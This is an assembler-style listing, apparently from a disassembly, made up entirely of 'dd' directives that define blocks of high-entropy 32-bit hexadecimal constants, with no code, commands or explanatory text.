		dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h,	5CE12E8Fh
		dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh,	53E858C4h
		dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h
		dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh
		dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh,	0EA32C238h
		dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h
		dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h,	0E33F0429h
		dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h
		dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh
		dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch
		dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh,	554534FFh
		dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h,	426F74B1h
		dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh,	4A8F55EDh
		dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h
		dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h,	6BC88A2Bh
		dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h,	0AA42F5B1h
		dd 862CCB08h, 83EC73Bh,	0C83118D4h, 0D8FF2841h,	0AB099381h
		dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh,	3C32C15Eh
		dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h
		dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh
		dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah
		dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h
		dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh
		dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh
		dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h,	2FE98CA8h
		dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h,	0F6D81F8Bh
		dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh
		dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh,	0CBCA6A83h
		dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah
		dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h,	6D2CB4BCh
		dd 6CF2AF0h, 3E32541Ch,	9CC77AE7h, 77283958h, 0F28EBAE3h
		dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h
		dd 49B2BB8h, 1E582B81h,	36D9DE3Bh, 94B078EDh, 0AE8B4C09h
		dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h
		dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h
		dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh
		dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h
		dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h
		dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h,	1EF6BC89h
		dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h
		dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h
		dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h
		dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh
		dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh
		dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh
		dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh
		dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h
		dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h
		dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h,	0F7E0AA94h
		dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh
		dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h
		dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh,	210EB568h
		dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h
		dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh
		dd 0A58E5F17h, 93B58B67h
		dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h,	3C0F969Eh
		dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h,	988D52CBh
		dd 4259A72Ch, 64A75C9h,	0D0142981h, 1DC2C148h, 0A0532745h
		dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h
		dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h,	1FA316CCh
		dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh
		dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h
		dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh,	13DE9A23h
		dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h
		dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h
		dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh
		dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh
		dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h
		dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h
		dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h
		dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh
		dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh,	0EB442818h
		dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h,	26E8D9F3h
		dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h,	3509B03Fh
		dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch,	8551E844h
		dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h
		dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h,	2DE5161Bh
		dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh,	25A24317h
		dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh,	73F45DBBh
		dd 9A1776F0h, 7F88F8Eh,	19642D6Fh, 0A9019293h, 0E279860Ch
		dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h
		dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h,	629093A2h
		dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh
		dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh
		dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h
		dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh,	8968137h
		dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h
		dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh
		dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h
		dd 1FB5384h, 74BAB5B9h,	288B0FFEh, 9542F13Fh, 0FDC3B4BFh
		dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h
		dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh,	0C9DC882Fh
		dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh
		dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh
		dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h,	0C12A5Dh
		dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah,	14285566h
		dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h
		dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh,	0E537C0FDh
		dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h
		dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h
		dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h
		dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h,	954BAE80h
		dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh
		dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh
		dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h
		dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch
		dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh
		dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h
		dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh
		dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h,	0C26E06ECh
		dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h,	147D9492h
		dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h
		dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h,	2EBCB400h
		dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh,	0B05E1497h
		dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h
		dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh
		dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh
		dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh
		dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h
		dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh,	21DA3329h
		dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h,	2A4F64F9h
		dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah
		dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h
		dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h
		dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h
		dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h
		dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h
		dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h,	31F42CE8h
		dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h,	0CB21136h
		dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h
		dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h
		dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h,	2A6D7F9Bh
		dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h
		dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh
		dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h,	86ED7D70h
		dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h
		dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h
		dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h,	9365BE05h
		dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh,	6938FCA7h
		dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h
		dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h
		dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch
		dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h
		dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h
		dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh,	40F93C55h
		dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh,	5708E112h
		dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch
		dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh
		dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h
		dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh
		dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h,	318297ACh
		dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h
		dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h,	90C1DA5Bh
		dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h
		dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh
		dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h
		dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh,	4194D57Dh
		dd 96D5475Eh, 8CB5EE07h
		dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah,	21CF0E2h
		dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h
		dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h,	0CF2F460Bh
		dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h
		dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch,	0A07605A8h
		dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h
		dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h
		dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h
		dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h,	0D7EB8273h
		dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h
		dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh
		dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh,	0C958EA35h
		dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h
		dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch,	1DC276BEh
		dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h
		dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h,	0A470FBCAh
		dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h
		dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh
		dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh
		dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h,	0BBD25C61h
		dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h,	0F96A8060h
		dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h
		dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h,	61916453h
		dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h,	68FD28FDh
		dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h
		dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh
		dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh
		dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h
		dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h,	176E79ECh
		dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h
		dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h
		dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h
		dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h
		dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh,	0C27ECA75h
		dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h
		dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h,	0E5CE5535h
		dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h
		dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h
		dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h
		dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h,	1CF66FA9h
		dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h
		dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh,	56C22B52h
		dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h,	3D5DD9h
		dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h,	0F27F970h
		dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h
		dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h
		dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h
		dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h
		dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h
		dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh,	5F61ABDEh
		dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh
		dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch
		dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh,	6DA75204h
		dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh,	7214E212h
		dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h
		dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch,	392FDE6Eh
		dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h
		dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah
		dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h
		dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h,	151CF165h
		dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h
		dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h
		dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h,	0DA848B74h
		dd 3C9276D3h, 6D37CB9h,	2AFDE550h, 36D7B1E5h, 0A0B9E52Dh
		dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh
		dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h
		dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h,	1BFBB86Dh
		dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah
		dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h,	9CF9081Ch
		dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h
		dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh
		dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h
		dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h
		dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h
		dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h
		dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h
		dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h,	1BFFFFC7h
		dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h
		dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h,	3631629Bh
		dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh
		dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh
		dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h,	0B6D568B6h
		dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch,	74AA1D5Dh
		dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h
		dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h,	0EEFBA097h
		dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h,	89DCC415h
		dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h
		dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h
		dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h,	0FFDAD3h
		dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh
		dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah
		dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h,	29668FE5h
		dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h,	852F7A0Dh
		dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh,	0F866A565h
		dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh
		dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh
		dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah
		dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah
		dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh
		dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h,	0C62BB7A1h
		dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h
		dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh,	9BC252AFh
		dd 8B86FCC2h, 8755166h
		dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h
		dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h
		dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h,	0CEB09714h
		dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h
		dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h,	447E7BB7h
		dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh
		dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h,	42ACB48h
		dd 0B76A95h, 64BDA072h,	9DD35DEDh, 1614D019h, 0EF296EA5h
		dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh
		dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h,	67CDB88Dh
		dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h
		dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h
		dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h
		dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h
		dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h
		dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h
		dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h
		dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h
		dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h
		dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h,	89AC8E8Ah
		dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh
		dd 21D94001h, 96B3AD7h,	4DD5A64Fh, 0D567F011h, 2181F4A8h
		dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h
		dd 0C9E7111h, 1C946DDh,	7934096Dh, 0CE18603Fh, 0B7D3E14Bh
		dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h
		dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h,	539BD830h
		dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah,	783DE32Ch
		dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h
		dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh
		dd 89B043Ah, 0A9083F9h,	0F62DFB3Ah, 2DC33E81h, 0F19D528h
		dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh
		dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h,	0E71AB0C8h
		dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h,	359AF28Ch
		dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h
		dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh,	8C93CADEh
		dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h,	0D19C9AC9h
		dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch
		dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h
		dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h
		dd 0ABE81A0h, 9487E03h,	28C5400Dh, 0D3D8631Eh, 813FB1A0h
		dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h
		dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h
		dd 440C91Bh, 8E3DF2EBh,	2A2AA6A3h, 3F8CB9C3h, 0C058967h
		dd 39FCA5F2h, 73450DDh,	0AA216AB5h, 140E8A7Ch, 6DDAE004h
		dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh,	33D649B9h
		dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh,	0EC20D987h
